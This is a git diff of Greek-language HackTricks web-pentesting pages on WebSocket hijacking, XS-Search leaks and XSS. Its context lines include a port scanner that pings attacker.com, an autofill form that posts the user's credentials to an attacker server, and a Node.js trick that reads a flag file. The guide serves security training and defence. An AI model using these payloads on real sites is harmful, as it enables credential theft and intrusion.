**διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένη στο αποσταλθέν cookie. -Έτσι, αν για **παράδειγμα** ο **websocket** **διακομιστής** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα **σταλεί** **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**. +Έτσι, αν για **παράδειγμα** ο **διακομιστής websocket** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα **σταλεί** **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**. ```html @@ -139,17 +153,29 @@ return messageEvent ```javascript sudo python3 -m http.server 80 ``` +### CSWSH Προστασίες + +Η επίθεση CSWSH βασίζεται στο γεγονός ότι ένας **χρήστης θα συνδεθεί σε μια κακόβουλη σελίδα** που θα **ανοίξει μια σύνδεση websocket** σε μια ιστοσελίδα στην οποία ο χρήστης είναι ήδη συνδεδεμένος και θα αυθεντικοποιηθεί ως αυτός καθώς το αίτημα θα στείλει τα cookies του χρήστη. + +Σήμερα, είναι πολύ εύκολο να προληφθεί αυτό το ζήτημα: + +- **Έλεγχος προέλευσης από τον διακομιστή websocket**: Ο διακομιστής websocket θα πρέπει πάντα να ελέγχει από πού συνδέεται ένας χρήστης για να αποτρέψει απροσδόκητες σελίδες να συνδεθούν σε αυτόν. +- **Διακριτικό αυθεντικοποίησης**: Αντί να βασίζεται η αυθεντικοποίηση σε ένα cookie, η σύνδεση websocket θα μπορούσε να βασίζεται σε ένα διακριτικό που δημιουργείται από τον διακομιστή για τον χρήστη άγνωστο στον επιτιθέμενο (όπως ένα διακριτικό κατά της CSRF). +- **Χαρακτηριστικό Cookie SameSite**: Τα cookies με τιμή `SameSite` ως `Lax` ή `Strict` δεν θα σταλούν από μια εξωτερική σελίδα επιτιθέμενου στον διακομιστή του θύματος, επομένως, η αυθεντικοποίηση με βάση τα cookies δεν θα είναι επιτυχής. Σημειώστε ότι το Chrome τώρα θέτει την τιμή **`Lax`** στα cookies χωρίς αυτή τη σημαία, καθιστώντας το πιο ασφαλές από προεπιλογή. Ωστόσο, τα πρώτα 2 λεπτά που δημιουργείται ένα cookie θα έχει την τιμή **`None`**, καθιστώντας το ευάλωτο κατά τη διάρκεια αυτής της περιορισμένης περιόδου (αναμένεται επίσης ότι αυτό το μέτρο θα καταργηθεί κάποια στιγμή). +- **Προστασία Cookies Total του Firefox**: Η Total Cookie Protection λειτουργεί απομονώνοντας τα cookies στη σελίδα στην οποία δημιουργούνται. Ουσιαστικά, κάθε σελίδα έχει το δικό της διαμέρισμα αποθήκευσης cookies για να αποτρέψει τρίτους να συνδέσουν την ιστορικό περιήγησης ενός χρήστη. Αυτό καθιστά **αδύνατη την CSWSH** καθώς η σελίδα των επιτιθέμενων δεν θα έχει πρόσβαση στα cookies. +- **Φραγή τρίτων cookies του Chrome**: Αυτό θα μπορούσε επίσης να αποτρέψει την αποστολή του cookie του αυθεντικοποιημένου χρήστη στον διακομιστή websocket ακόμη και με `SameSite=None`. + ## Συνθήκες Αγώνα -Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, [δείτε αυτή την πληροφορία για να μάθετε περισσότερα](race-condition.md#rc-in-websockets). +Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα ζήτημα, [ελέγξτε αυτή την πληροφορία για να μάθετε περισσότερα](race-condition.md#rc-in-websockets). ## Άλλες ευπάθειες -Καθώς τα Web Sockets είναι ένας μηχανισμός για **να στέλνουν δεδομένα στον διακομιστή και στον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται την πληροφορία, **τα Web Sockets μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν πολλές άλλες ευπάθειες όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.** +Καθώς τα Web Sockets είναι μηχανισμός για **αποστολή δεδομένων προς τον διακομιστή και τον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση αρκετών άλλων ευπαθειών όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.** ## **WebSocket Smuggling** -Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης** κάνοντάς τους να πιστεύουν ότι **μια επικοινωνία websocket έχει καθιερωθεί** (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές σημεία**. Για περισσότερες πληροφορίες δείτε την παρακάτω σελίδα: +Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης** κάνοντάς τους να πιστεύουν ότι μια **επικοινωνία websocket έχει καθιερωθεί** (ακόμη και αν δεν είναι αληθές). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές οντότητες**. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα: {{#ref}} h2c-smuggling.md @@ -158,5 +184,6 @@ h2c-smuggling.md ## Αναφορές - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) +- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 3d2e8defc..f1f01eeb7 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -22,16 +22,16 @@ XS-Search είναι μια μέθοδος που χρησιμοποιείται - **Κωδικός Κατάστασης**: Διαχωρισμός μεταξύ **διαφορετικών κωδικών κατάστασης HTTP** από διαφορετικές προελεύσεις, όπως σφάλματα διακομιστή, σφάλματα πελάτη ή σφάλματα αυθεντικοποίησης. - **Χρήση API**: Αναγνώριση **χρήσης Web APIs** σε σελίδες, αποκαλύπτοντας αν μια σελίδα από διαφορετική προέλευση χρησιμοποιεί μια συγκεκριμένη JavaScript Web API. - **Ανακατευθύνσεις**: Ανίχνευση πλοηγήσεων σε διαφορετικές σελίδες, όχι μόνο HTTP ανακατευθύνσεις αλλά και αυτές που ενεργοποιούνται από JavaScript ή HTML. -- **Περιεχόμενο Σελίδας**: Παρατήρηση **παραλλαγών στο σώμα της απόκρισης HTTP** ή σε υπο-πόρους της σελίδας, όπως ο **αριθμός ενσωματωμένων πλαισίων** ή διαφορές μεγέθους σε εικόνες. +- **Περιεχόμενο Σελίδας**: Παρατήρηση **παραλλαγών στο σώμα της απόκρισης HTTP** ή σε υπο-πόρους της σελίδας, όπως ο **αριθμός των ενσωματωμένων πλαισίων** ή οι διαφορές μεγέθους στις εικόνες. - **HTTP Header**: Σημείωση της παρουσίας ή πιθανώς της τιμής ενός **συγκεκριμένου HTTP response header**, συμπεριλαμβανομένων των headers όπως X-Frame-Options, Content-Disposition και Cross-Origin-Resource-Policy. -- **Χρόνος**: Παρατήρηση σταθερών χρονικών διαφορών μεταξύ των δύο καταστάσεων. +- **Χρόνος**: Παρατήρηση σταθερών διαφορών χρόνου μεταξύ των δύο καταστάσεων. ### Inclusion Methods - **HTML Elements**: Το HTML προσφέρει διάφορα στοιχεία για **συμπερίληψη πόρων από διαφορετικές προελεύσεις**, όπως στυλ, εικόνες ή σενάρια, αναγκάζοντας τον περιηγητή να ζητήσει έναν μη-HTML πόρο. Μια συλλογή πιθανών HTML στοιχείων για αυτό το σκοπό μπορεί να βρεθεί στο [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). - **Frames**: Στοιχεία όπως **iframe**, **object** και **embed** μπορούν να ενσωματώσουν HTML πόρους απευθείας στη σελίδα του επιτιθέμενου. Εάν η σελίδα **λείπει προστασία πλαισίωσης**, η JavaScript μπορεί να έχει πρόσβαση στο αντικείμενο παραθύρου του πλαισίου μέσω της ιδιότητας contentWindow. -- **Pop-ups**: Η μέθοδος **`window.open`** ανοίγει έναν πόρο σε μια νέα καρτέλα ή παράθυρο, παρέχοντας μια **χειριστή παραθύρου** για την αλληλεπίδραση της JavaScript με μεθόδους και ιδιότητες σύμφωνα με το SOP. Οι αναδυόμενες οθόνες, που χρησιμοποιούνται συχνά σε διαδικασίες αυτόματης σύνδεσης, παρακάμπτουν τους περιορισμούς πλαισίωσης και cookie ενός πόρου στόχου. Ωστόσο, οι σύγχρονοι περιηγητές περιορίζουν τη δημιουργία αναδυόμενων παραθύρων σε ορισμένες ενέργειες χρηστών. -- **JavaScript Requests**: Η JavaScript επιτρέπει άμεσες αιτήσεις σε πόρους στόχου χρησιμοποιώντας **XMLHttpRequests** ή το **Fetch API**. Αυτές οι μέθοδοι προσφέρουν ακριβή έλεγχο πάνω στην αίτηση, όπως η επιλογή να ακολουθήσουν HTTP ανακατευθύνσεις. +- **Pop-ups**: Η μέθοδος **`window.open`** ανοίγει έναν πόρο σε μια νέα καρτέλα ή παράθυρο, παρέχοντας μια **χείρα παραθύρου** για την αλληλεπίδραση της JavaScript με μεθόδους και ιδιότητες σύμφωνα με το SOP. Οι αναδυόμενες οθόνες, που χρησιμοποιούνται συχνά σε διαδικασίες αυτόματης σύνδεσης, παρακάμπτουν τους περιορισμούς πλαισίωσης και cookie ενός πόρου στόχου. Ωστόσο, οι σύγχρονοι περιηγητές περιορίζουν τη δημιουργία αναδυόμενων παραθύρων σε ορισμένες ενέργειες χρηστών. +- **JavaScript Requests**: Η JavaScript επιτρέπει άμεσες αιτήσεις σε πόρους στόχου χρησιμοποιώντας **XMLHttpRequests** ή το **Fetch API**. Αυτές οι μέθοδοι προσφέρουν ακριβή έλεγχο της αίτησης, όπως η επιλογή να ακολουθήσουν HTTP ανακατευθύνσεις. ### Leak Techniques @@ -44,12 +44,12 @@ XS-Search είναι μια μέθοδος που χρησιμοποιείται ## XSinator Tool & Paper -Το XSinator είναι ένα αυτόματο εργαλείο για **έλεγχο περιηγητών έναντι αρκετών γνωστών XS-Leaks** που εξηγούνται στην εργασία του: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) +XSinator είναι ένα αυτόματο εργαλείο για **έλεγχο περιηγητών έναντι αρκετών γνωστών XS-Leaks** που εξηγούνται στην εργασία του: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) Μπορείτε να **πρόσβαση στο εργαλείο στο** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **Εξαιρούμενες XS-Leaks**: Αναγκαστήκαμε να εξαιρέσουμε XS-Leaks που βασίζονται σε **εργαζόμενους υπηρεσιών** καθώς θα παρεμβαίνουν σε άλλες διαρροές στο XSinator. Επιπλέον, επιλέξαμε να **εξαιρέσουμε XS-Leaks που βασίζονται σε κακή διαμόρφωση και σφάλματα σε μια συγκεκριμένη διαδικτυακή εφαρμογή**. Για παράδειγμα, κακές διαμορφώσεις CrossOrigin Resource Sharing (CORS), διαρροές postMessage ή Cross-Site Scripting. Επιπλέον, εξαιρέσαμε τις χρονικά βασισμένες XS-Leaks καθώς συχνά υποφέρουν από αργές, θορυβώδεις και ανακριβείς. +> **Εξαιρούμενες XS-Leaks**: Έπρεπε να εξαιρέσουμε XS-Leaks που βασίζονται σε **εργαζόμενους υπηρεσιών** καθώς θα παρενέβαιναν σε άλλες διαρροές στο XSinator. Επιπλέον, επιλέξαμε να **εξαιρέσουμε XS-Leaks που βασίζονται σε κακή διαμόρφωση και σφάλματα σε μια συγκεκριμένη διαδικτυακή εφαρμογή**. Για παράδειγμα, κακές διαμορφώσεις CrossOrigin Resource Sharing (CORS), διαρροές postMessage ή Cross-Site Scripting. Επιπλέον, εξαιρέσαμε τις χρονικά βασισμένες XS-Leaks καθώς συχνά υποφέρουν από αργές, θορυβώδεις και ανακριβείς. ## **Timing Based techniques** @@ -66,16 +66,17 @@ XS-Search είναι μια μέθοδος που χρησιμοποιείται - **Inclusion Methods**: Frames, HTML Elements - **Detectable Difference**: Status Code - **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Summary**: αν προσπαθήσετε να φορτώσετε έναν πόρο, τα γεγονότα onerror/onload ενεργοποιούνται με την επιτυχία/αποτυχία φόρτωσης του πόρου, είναι δυνατόν να καταλάβετε τον κωδικό κατάστασης. +- **Summary**: αν προσπαθείτε να φορτώσετε έναν πόρο, τα γεγονότα onerror/onload ενεργοποιούνται με την επιτυχία/αποτυχία φόρτωσης του πόρου, είναι δυνατόν να καταλάβετε τον κωδικό κατάστασης. - **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() + {{#ref}} xs-search/cookie-bomb-+-onerror-xs-leak.md {{#endref}} -Το παράδειγμα κώδικα προσπαθεί να **φορτώσει αντικείμενα σενάριων από JS**, αλλά **άλλα tags** όπως αντικείμενα, στυλ, εικόνες, ήχοι θα μπορούσαν επίσης να χρησιμοποιηθούν. Επιπλέον, είναι επίσης δυνατό να εισαχθεί το **tag απευθείας** και να δηλωθούν τα γεγονότα `onload` και `onerror` μέσα στο tag (αντί να τα εισάγουμε από JS). +Το παράδειγμα κώδικα προσπαθεί να **φορτώσει αντικείμενα scripts από JS**, αλλά **άλλα tags** όπως αντικείμενα, στυλ, εικόνες, ήχοι θα μπορούσαν επίσης να χρησιμοποιηθούν. Επιπλέον, είναι επίσης δυνατό να εισαχθεί το **tag απευθείας** και να δηλωθούν τα γεγονότα `onload` και `onerror` μέσα στο tag (αντί να εισαχθούν από JS). -Υπάρχει επίσης μια έκδοση αυτής της επίθεσης χωρίς σενάριο: +Υπάρχει επίσης μια έκδοση χωρίς σενάριο αυτής της επίθεσης: ```html @@ -131,7 +132,7 @@ It has been observed that in the absence of [Framing Protections](https://xsleak - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content - **More info**: -- **Summary**: Αν μπορείτε να κάνετε την σελίδα να εμφανίζει σφάλμα όταν προσπελάσετε το σωστό περιεχόμενο και να φορτώνει σωστά όταν προσπελάσετε οποιοδήποτε περιεχόμενο, τότε μπορείτε να δημιουργήσετε έναν βρόχο για να εξάγετε όλες τις πληροφορίες χωρίς να μετράτε τον χρόνο. +- **Summary**: Αν μπορείτε να κάνετε την σελίδα να εμφανίζει σφάλμα όταν προσπελάζεται το σωστό περιεχόμενο και να φορτώνει σωστά όταν προσπελάζεται οποιοδήποτε περιεχόμενο, τότε μπορείτε να δημιουργήσετε έναν βρόχο για να εξάγετε όλες τις πληροφορίες χωρίς να μετράτε τον χρόνο. - **Code Example**: Υποθέστε ότι μπορείτε να **εισάγετε** την **σελίδα** που έχει το **μυστικό** περιεχόμενο **μέσα σε ένα Iframe**. @@ -145,7 +146,7 @@ It has been observed that in the absence of [Framing Protections](https://xsleak Αν το πρώτο URL φορτώθηκε **επιτυχώς**, τότε, όταν **αλλάξετε** το **hash** μέρος του URL, το **onload** event **δεν θα ενεργοποιηθεί** ξανά. Αλλά **αν** η σελίδα είχε κάποιο είδος **σφάλματος** κατά την **φόρτωση**, τότε, το **onload** event θα **ενεργοποιηθεί ξανά**. -Στη συνέχεια, μπορείτε να **διακρίνετε** μεταξύ μιας **σωστά** φορτωμένης σελίδας ή μιας σελίδας που έχει ένα **σφάλμα** όταν προσπελάζεται. +Έτσι, μπορείτε να **διακρίνετε** μεταξύ μιας **σωστά** φορτωμένης σελίδας ή μιας σελίδας που έχει ένα **σφάλμα** όταν προσπελάζεται. ### Javascript Execution @@ -155,6 +156,7 @@ It has been observed that in the absence of [Framing Protections](https://xsleak - **Summary:** Αν η **σελίδα** **επιστρέφει** το **ευαίσθητο** περιεχόμενο, **ή** ένα **περιεχόμενο** που μπορεί να **ελεγχθεί** από τον χρήστη. Ο χρήστης θα μπορούσε να ορίσει **έγκυρο JS κώδικα στην αρνητική περίπτωση**, να **φορτώνει** κάθε προσπάθεια μέσα σε **`` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. +Σε αυτές τις περιπτώσεις η **είσοδός σου** θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. ### Διαφυγή ετικέτας \ ``` -Η απάντηση είναι: - - **module** (προεπιλογή, τίποτα να εξηγήσω) - [**webbundle**](https://web.dev/web-bundles/): Το Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο. ```html @@ -901,7 +903,7 @@ import moment from "moment" import { partition } from "lodash" ``` -Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS. +Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί και να προκαλέσει XSS. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει ορισμένα προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής: ```html @@ -928,7 +930,7 @@ import { partition } from "lodash" - application/xml - text/xml - image/svg+xml -- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα αυτό σε ένα CTF) +- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα σε ένα CTF) - application/rss+xml (off) - application/atom+xml (off) @@ -936,7 +938,7 @@ import { partition } from "lodash" ### xml Content Type -Εάν η σελίδα επιστρέφει έναν τύπο περιεχομένου text/xml είναι δυνατόν να υποδειχθεί ένα namespace και να εκτελεστεί αυθαίρετο JS: +Αν η σελίδα επιστρέφει τύπο περιεχομένου text/xml είναι δυνατόν να υποδειχθεί ένα namespace και να εκτελεστεί αυθαίρετο JS: ```xml hello @@ -946,12 +948,13 @@ import { partition } from "lodash" ``` ### Ειδικά Πρότυπα Αντικατάστασης -Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", )`**, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", )`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **διαφύγει μια συμβολοσειρά JSON** μέσα σε ένα σενάριο και να εκτελέσει αυθαίρετο κώδικα. +Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **ξεφύγει μια συμβολοσειρά JSON** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα. ### Chrome Cache to XSS + {{#ref}} chrome-cache-to-xss.md {{#endref}} @@ -998,7 +1001,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Πρόσβαση στο `require` έμμεσα -[Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules περιβάλλονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό: +[Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules περιτυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code @@ -1013,7 +1016,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη **`require`** συνάρτηση: +Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη λειτουργία **`require`**: ```javascript try { null.f() @@ -1236,6 +1239,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ### Πολλές επιθέσεις σε 1 + {{#ref}} steal-info-js.md {{#endref}} @@ -1244,6 +1248,7 @@ steal-info-js.md Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από ένα iframe και κλέψτε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες): + {{#ref}} ../iframe-traps.md {{#endref}} @@ -1347,7 +1352,7 @@ q.shift()() ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Σαρωτής Θερμοφυσικών Θυρών (websockets) +### Σαρωτής Θερμοφυσικών (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### Αυτόματη καταγραφή κωδικών πρόσβασης +### Συλλογή κωδικών πρόσβασης αυτόματης συμπλήρωσης ```javascript Username:
@@ -1381,7 +1386,7 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Όταν εισάγεται οποιοδήποτε δεδομένο στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαχθούν. +Όταν εισάγονται δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαχθούν. ### Keylogger @@ -1417,18 +1422,21 @@ document.getElementById("message").src += "&"+e.data; ``` ### Κατάχρηση Υπηρεσιών Εργαζομένων + {{#ref}} abusing-service-workers.md {{#endref}} ### Πρόσβαση στο Shadow DOM + {{#ref}} shadow-dom.md {{#endref}} ### Πολυγλωσσικά + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} @@ -1502,7 +1510,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο -Από [**αυτή τη γραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρούμε μετά την αφαίρεση της τιμής της εισόδου του regex: +Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρούμε μετά την αφαίρεση της τιμής της εισόδου του regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1521,15 +1529,17 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ``` ### Λίστα Brute-Force + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Εκμετάλλευση άλλων ευπαθειών +## XSS Κατάχρηση άλλων ευπαθειών ### XSS σε Markdown -Μπορείς να εισάγεις κώδικα Markdown που θα αποδοθεί; Ίσως μπορείς να αποκτήσεις XSS! Έλεγξε: +Μπορείτε να εισάγετε κώδικα Markdown που θα αποδοθεί; Ίσως μπορείτε να αποκτήσετε XSS! Ελέγξτε: + {{#ref}} xss-in-markdown.md @@ -1537,7 +1547,7 @@ xss-in-markdown.md ### XSS σε SSRF -Έχεις XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκίμασε **να το αναβαθμίσεις σε SSRF** μέσω Edge Side Include Injection με αυτό το payload: +Έχετε XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω Edge Side Include Injection με αυτό το payload: ```python ``` @@ -1546,8 +1556,8 @@ xss-in-markdown.md ### XSS σε δυναμικά δημιουργημένο PDF -Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ -Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **εκμεταλλευτείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. +Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\ +Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md @@ -1625,10 +1635,11 @@ id="foo"/> ```xml ``` -Βρείτε **περισσότερα payloads SVG σε** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Βρείτε **περισσότερα SVG payloads στο** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ## Διάφορα JS Tricks & Σχετικές Πληροφορίες + {{#ref}} other-js-tricks.md {{#endref}} diff --git a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md index c0a128826..631b10780 100644 --- a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md +++ b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md @@ -1,27 +1,27 @@ -# Κατάχρηση Υπηρεσιών Εργασίας +# Κατάχρηση Υπηρεσιών Εργαζομένων {{#include ../../banners/hacktricks-training.md}} ## Βασικές Πληροφορίες -Ένας **υπηρεσία εργασία** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες **εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο**. Λεπτομερείς πληροφορίες σχετικά με τις υπηρεσίες εργασίας μπορείτε να βρείτε [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τις υπηρεσίες εργασίας μέσα σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο πάνω στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα. +Ένας **εργαζόμενος υπηρεσίας** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από 